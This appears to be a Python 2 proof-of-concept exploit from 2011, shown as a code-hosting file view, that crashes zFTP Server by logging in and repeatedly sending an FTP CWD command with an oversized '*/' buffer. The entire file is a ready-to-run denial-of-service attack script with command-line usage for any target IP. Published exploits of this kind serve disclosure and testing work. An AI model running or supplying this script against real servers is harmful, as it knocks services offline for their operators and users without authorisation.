89 lines
No EOL
2.1 KiB
Python
Executable file
89 lines
No EOL
2.1 KiB
Python
Executable file
#!/usr/bin/python
|
|
|
|
# Exploit Title: zFTP Server "cwd" Remote Denial-of-Service
|
|
# Date: 2011-10-24
|
|
# Author: Myo Soe < YGN Ethical Hacker Group, Myanmar - http://yehg.net/ >
|
|
# Version: 2011-04-13 08:59
|
|
# Tested on: Windows XP, 2K3
|
|
|
|
import socket
|
|
import sys
|
|
import time
|
|
|
|
author = '(c) Myo Soe < YGN Ethical Hacker Group, Myanmar - http://yehg.net/ >'
|
|
|
|
# server
|
|
server = 'zFTP Server version 2011-04-13 08:59'
|
|
title = ' "cwd" Remote Denial-of-Service Proof-of-Concept'
|
|
|
|
# payload
|
|
|
|
buffer= '*/' * 20000
|
|
cmd = "CWD"
|
|
payload = cmd + ' ' + buffer
|
|
|
|
pre_msg = 'Sending STAT DoS ... This may take a while '
|
|
post_msg = 'Job Done!'
|
|
|
|
|
|
def trigger(host, port, user, passw):
|
|
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
sock.settimeout(15)
|
|
|
|
try:
|
|
sock.connect((host, port))
|
|
except:
|
|
sys.stderr.write(now() + 'ERROR: Cannot Connect to '+ host + ':' + str(port) + '\r\n')
|
|
sys.exit(1)
|
|
r=sock.recv(1024)
|
|
sock.send("USER " + user + "\r\n")
|
|
r=sock.recv(1024)
|
|
sock.send("PASS " + passw + "\r\n")
|
|
r=sock.recv(1024)
|
|
if 'Login not accepted' in r:
|
|
sys.stderr.write(now() + 'ERROR: Incorrect username or password')
|
|
sys.exit(1)
|
|
|
|
print now(), pre_msg, '\r\n'
|
|
try:
|
|
for i in range(1,10):
|
|
print "#",i
|
|
sock.send(payload + "\r\n")
|
|
time.sleep(5)
|
|
except Exception, err:
|
|
if 'Connection reset by peer' in str(err):
|
|
print '\r\n',now(), server, ' has crashed'
|
|
else:
|
|
sys.stderr.write('\r\n' + now() + 'ERROR: %s\r\n' % str(err) + '\r\nWait a few seconds to see the server crashed\r\n')
|
|
|
|
sock.close()
|
|
print '\r\n',now(),post_msg
|
|
|
|
|
|
def now():
|
|
return time.strftime("[%Y-%m-%d %X] ")
|
|
|
|
|
|
def banner():
|
|
print "\r\n",server,title,"\r\n",author,"\r\n\r\n"
|
|
|
|
def help():
|
|
print "Usage: poc.py IP username password"
|
|
|
|
|
|
def main():
|
|
banner()
|
|
|
|
if len(sys.argv) <> 4:
|
|
help()
|
|
sys.exit(1)
|
|
else:
|
|
host = sys.argv[1]
|
|
user = sys.argv[2]
|
|
passw = sys.argv[3]
|
|
trigger(host,21,user,passw)
|
|
sys.exit(0)
|
|
|
|
if __name__ == '__main__':
|
|
main() |